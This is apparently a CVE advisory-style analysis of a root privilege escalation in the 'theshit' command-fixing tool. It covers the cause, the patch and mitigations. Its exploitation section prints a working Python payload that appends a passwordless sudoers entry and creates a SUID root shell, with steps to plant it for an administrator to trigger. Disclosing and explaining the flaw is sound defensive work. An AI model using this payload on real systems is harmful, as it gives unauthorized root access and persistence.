The command-line tool `theshit` loads custom Python rule files from the user's configuration directory. Prior to version 0.1.1, it failed to verify file ownership when running with elevated privileges (e.g., via `sudo`). An attacker can place a malicious Python script in their own config folder, wait for an administrator to run the tool to fix a command, and achieve immediate root code execution.
A classic Local Privilege Escalation (LPE) in the 'theshit' command correction utility, allowing unprivileged users to execute arbitrary Python code as root due to unsafe loading of user configuration files.
We've all been there. You type git psuh instead of push, or apt-get instlal. It's annoying. Tools like theshit are designed to be the digital equivalent of a helpful coworker leaning over your shoulder to say, "Did you mean...?" It automatically detects errors in your previous console command and attempts to fix them.
To be this smart, the tool supports custom "rules" written in Python. This makes it extensible and powerful. But here is the catch: Extensibility is the mortal enemy of security. When you allow a program to dynamically load and execute code from a file system, you are essentially handing the keys to whoever owns those files.
Now, imagine this scenario: You are a sysadmin. You make a typo in a privileged command. You instinctively run sudo theshit to fix it. In that split second, you have just authorized the tool to execute whatever Python scripts it finds in the configuration path. If that path is writable by a low-privileged user, you've just walked into a trap.
The vulnerability (CWE-269/CWE-829) stems from a failure to contextualize "trust." When theshit initializes, it scans specific directories for rule files—typically ~/.config/theshit/rules/. In a standard execution flow, this is fine; I run the tool as me, it loads my rules, and if I hack myself, that's my problem.
The catastrophe happens when privileges are crossed. When you run sudo theshit, the process Effective UID (EUID) becomes 0 (root). However, depending on how sudo is configured (specifically env_keep or simply how the tool resolves paths), it may still look into the invoking user's home directory for configuration files.
The application blindly assumed that if a file existed in the configuration path, it was safe to load. It performed no checks to see if the file was owned by root or if it was writable by others. It simply passed the file path to the pyo3 interpreter. This is effectively an insecure plugin architecture. By failing to drop privileges or sanitize inputs before loading these "plugins," the application allows a standard user to inject code into a root process.
Let's look at the Rust code responsible for this mess. In versions prior to 0.1.1, the logic in src/fix/python.rs was dangerously optimistic. It iterated over files and loaded them without a care in the world.
The fix, introduced in commit 3dc1290, adds a new check_security function. This is a classic "Look Before You Leap" patch. Here is the logic breakdown:
// The Fix: src/fix/python.rs
fn check_security(path: &Path) -> Result<()> {
let metadata = fs::metadata(path)?;
let current_uid = unsafe { libc::geteuid() };
// RULE 1: If we are root, the file MUST be owned by root.
if current_uid != metadata.uid() {
return Err(anyhow!("Security risk: file not owned by current user"));
}
// RULE 2: No world-writable files allowed.
let mode = metadata.permissions().mode();
if mode & 0o022 != 0 {
return Err(anyhow!("Security risk: file is writable by others"));
}
Ok(())
}While this patch stops the bleeding, it's worth noting that file system checks in user-space are notoriously difficult to perfect. This check happens before the file is opened by the Python interpreter. A sophisticated attacker might attempt a TOCTOU (Time-of-Check to Time-of-Use) attack—swapping the legitimate, root-owned file with a malicious one in the nanoseconds between the check_security call and the actual load operation. However, given the requirement for the attacker to already have write access to the directory, the initial ownership check usually mitigates the primary vector.
Exploiting this is trivially easy and requires zero memory corruption wizardry. We just need to write a Python script and wait.
Step 1: The Trap As a low-privileged user, we create a malicious rule file in our config directory:
mkdir -p ~/.config/theshit/rules
vi ~/.config/theshit/rules/backdoor.pyStep 2: The Payload
We inject Python code that adds our user to the sudoers file or spawns a root shell. Since theshit imports this module, the code runs immediately on load.
import os
import subprocess
# The payload runs as root if the victim used sudo
if os.geteuid() == 0:
# Option A: Add NOPASSWD to sudoers
os.system("echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers")
# Option B: SUID Shell for persistence
os.system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash")
print("[+] Exploit executed. Enjoy your root shell.")Step 3: The Trigger
Now, we play the social engineering game. We ask the admin to help us with a command, or we simply wait for them to make a mistake on our machine. As soon as they type sudo theshit, the tool initializes, scans ~/.config/theshit/rules/, loads backdoor.py, and executes our payload with root privileges. Game over.
Local Privilege Escalation is often dismissed as "you need access first," but in multi-user environments, shared servers, or developer workstations, it is fatal. This vulnerability turns any low-privileged compromise into a full system compromise.
If an attacker gains a foothold on a developer's machine (perhaps via a phished credential or a compromised NPM package), they can use this CVE to gain root access silently. Once root, they can install kernel-level rootkits, dump password hashes, disable EDR solutions, and pivot laterally across the network with impunity.
Furthermore, because this exploits a logic flaw rather than a memory bug, it is 100% reliable. There is no heap feng-shui required, no ASLR to bypass, and no chance of crashing the system. It just works, every single time.
The immediate fix is to upgrade theshit to version 0.1.1 or later. The vendor has patched the logic to enforce strict ownership checks on rule files.
If you cannot upgrade immediately, you have two options:
sudo chown -R root:root ~/.config/theshit/
sudo chmod -R 755 ~/.config/theshit/Ultimately, this serves as a lesson for developers: If your app loads plugins, extensions, or config files, and it might ever run as root, you are responsible for validating the integrity of those files. Trust nothing.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
theshit AsfhtgkDavid | < 0.1.1 | 0.1.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-269 |
| Attack Vector | Local (AV:L) |
| CVSS | 6.7 (Medium) |
| Impact | Privilege Escalation (Root) |
| Component | Python Rule Loader |
| Exploit Status | High Probability / Trivial |
Improper Privilege Management
Get the latest CVE analysis reports delivered to your inbox.